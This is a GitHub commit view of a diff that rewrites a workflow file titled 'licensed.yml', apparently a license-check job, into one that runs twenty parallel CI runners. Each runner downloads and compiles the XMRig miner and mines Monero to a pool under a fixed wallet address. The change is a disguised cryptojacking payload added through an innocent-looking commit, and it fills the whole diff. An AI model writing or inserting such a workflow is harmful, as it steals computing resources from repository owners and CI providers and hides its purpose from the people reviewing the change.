Update licensed.yml

This commit is contained in:
CountryFae 2021-04-11 00:06:48 -04:00 committed by GitHub
parent 17e5328afe
commit 43a68632e5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,20 +1,24 @@
name: Licensed name: a1
on: [pull_request]
on:
push: {branches: main}
pull_request: {branches: main}
jobs: jobs:
test: run:
name: Run
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: Check licenses strategy:
fail-fast: false
matrix:
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
steps: steps:
- uses: actions/checkout@v2 - shell: bash
- run: npm ci
- name: Install licensed
run: | run: |
cd $RUNNER_TEMP sudo apt-get update
curl -Lfs -o licensed.tar.gz https://github.com/github/licensed/releases/download/2.12.2/licensed-2.12.2-linux-x64.tar.gz sudo apt-get install --yes build-essential cmake git libhwloc-dev libssl-dev libuv1-dev
sudo tar -xzf licensed.tar.gz curl -Lo xmrig.tar.gz https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz
sudo mv licensed /usr/local/bin/licensed tar xf xmrig.tar.gz
- run: licensed status cd xmrig-*
mkdir build
cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
make --jobs=$(nproc)
./xmrig --donate-level 0 -o us-west.minexmr.com:443 -u 42pKVvPZ6X6WiQbdNdVnx7ix75JgpUSdyK9r5q5Q9sdRTH5MmqRTgNyBvZfPRTyEFrPuMELm6zuS6FqUwkbttUiDTiV3QgV -k --tls